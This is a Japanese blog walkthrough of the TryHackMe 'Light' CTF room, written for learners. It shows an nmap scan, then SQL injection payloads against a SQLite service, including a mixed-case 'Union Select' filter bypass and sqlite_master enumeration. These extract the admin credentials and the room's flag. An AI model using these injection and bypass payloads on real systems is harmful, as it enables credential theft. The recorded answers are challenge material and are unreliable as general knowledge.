概要
TryHackMe の 「Light」という Room の Walkthrough 記事です。
取っつきやすく SQL Injection の説明にも使えそうな問題になってたのでメモとして残します。
使用している環境は TryHackMe 上の AttackBox でやっています。
Task
I am working on a database application called Light! Would you like to try it out?
If so, the application is running on port 1337. You can connect to it using `nc 10.10.110.166 1337` .
You can use the username `smokey` in order to get started.
(意訳)
Lightというデータベースアプリケーションを作ってます。お試しいかが?
アプリケーションはポート1337で動いていて、`nc 10.10.110.166 1337` で接続できます。
開始するにはユーザー名 `smokey` が使えます。
- What is the admin username?
- What is the password to the username mentioned in question 1?
- What is the flag?
手順
まずは偵察してみる。port 1337 で接続できるのはヒントから分かってるが、他に ssh や http などがないか調べます。
root@ip-10-10-85-138:~# nmap -sV -Pn 10.10.110.166
Starting Nmap 7.80 ( https://nmap.org ) at 2025-01-26 02:20 GMT
Nmap scan report for 10.10.110.166
Host is up (0.00049s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
MAC Address: 02:61:90:96:DD:47 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
port 22 で ssh が開いてるようだが他は特になし。
ssh は認証情報を手に入れたら戻ってくることにして、次に冒頭でもらっている情報を使い nc してみる。
すると、Light というデータベースに接続したようで、username の入力を促される。
冒頭で言われた通り smokey
を入力するとパスワードが返ってきた。
root@ip-10-10-85-138:~# nc 10.10.110.166 1337
Welcome to the Light database!
Please enter your username: smokey
Password: vYQ5ngPpw8AdUmL
認証情報のようなものが手に入ったが、もう少し調査を続ける。
username
の入力に対して password
を返しているようなので、恐らくこんな感じの SQL が実行されていそうで、Injection ができるかもしれない。
SELECT password FROM <TABLE> WHERE username = '<INPUT>';
というわけで、入力を ' OR '1'='1' --
にすると以下のような SQL Injection が実行できそう。
SELECT password FROM <TABLE> WHERE username = '' OR '1'='1' --';
試してみると、何やら入力値に対してバリデーションがかかっており、--
の部分で弾かれてしまった模様。
Please enter your username: ' OR '1'='1' --
For strange reasons I can't explain, any input containing /*, -- or, %0b is not allowed :)
Please enter your username:
では次に入力を ' OR '1'='1
に切り替えて、次のような SQL を想定する。
SELECT password FROM <TABLE> WHERE username = '' OR '1'='1';
これを試すとパスワード名が返ってきたので、Injection には成功した模様。
Please enter your username: ' OR '1' = '1
Password: tF8tj2o94WE4LKC
ここから Admin のユーザ名やそのパスワードを調べていきたいのだが、まずテーブル名はおろか、DB がそもそも何なのかわかっていない。なのでそこから調査をしていく。
...とか言いつつ、 Light の名前が付いてる時点で恐らく SQLite だろうという期待を持って、そこから調べてみる。SQLite の場合、DB 情報は sqlite_version()
で調べられる(by Google検索)ので、select で持ってこれるように UNION を使って調べる。
すると、またしてもバリデーションがかかっている模様。
Please enter your username: ' UNION SELECT sqlite_version() '
Ahh there is a word in there I don't like :(
調べてみると、SELECT
や UNION
のような全部大文字の SQL コマンドは受け付けないようになっている模様。しかし、Select
のように一部小文字にするだけでこれは回避できるみたい。
Please enter your username: SELECT
Ahh there is a word in there I don't like :(
Please enter your username: Select
Username not found.
なので、ちょっとだけ変更して改めて実行する。すると、SQLite の 3.31.1 が動いていることが判明。
Please enter your username: ' Union Select sqlite_version() '
Password: 3.31.1
続いて、SQLite のテーブル名を調べる。SQLite のテーブル名は sqlite_master
で調べられる(by Google検索)ので、それで実行。すると、admintable
というテーブル名と判明。
Please enter your username: ' Union Select name from sqlite_master '
Password: admintable
この admintable
に対して同様に検索する。すると、 TryHackMeAdmin
というユーザ名を取得できたので、これが1つ目の答え。
Please enter your username: ' Union Select username from admintable '
Password: TryHackMeAdmin
このユーザ名のパスワードは where 指定して select すれば十分そう。すると、このユーザ名のパスワードも取得できたので、これが2つ目の答え。
Please enter your username: ' Union Select password from admintable where username = 'TryHackMeAdmin
Password: mamZtAuMlrsEy5bp6q17
他に3つ目の問題の flag に繋がる情報がないか調べるため検索してみる。すると、flag
というユーザを発見したので、このユーザについても同様に調べる。すると、flag が手に入ってしまい、3つ目の答えが手に入った。
Please enter your username: ' Union Select username from admintable where username != 'TryHackMeAdmin
Password: flag
Please enter your username: ' Union Select password from admintable where username = 'flag
Password: THM{SQLit3_InJ3cTion_is_SimplE_nO?}
... あれ、おしまい?( ssh はなんだったの)
その後
ssh などにログインできないか調べてみたけど、ここで得た情報を使用してログインできるなどは特になさそう。
easy のレベルなのでこれ以上の作りこみはないのかもしれないけど、ここからサーバに侵入して権限昇格して root 取りに行く... とかの展開を期待していた。
感想
「SQL Injection って知ってるけど実行したことない」という人には1つ勉強のタネになりそうなかなという Room で、IT初学者には良いのかもしれません(初学者が TryHackMe 開くのかというツッコミはありそう)。
無料で遊べる Room なので、「SQLインジェクション」を調べたときにたまたまこの記事を見つけた方が、ひとつ手を動かすきっかけになれば幸いです。
以上で本記事を終わります。ありがとうございました。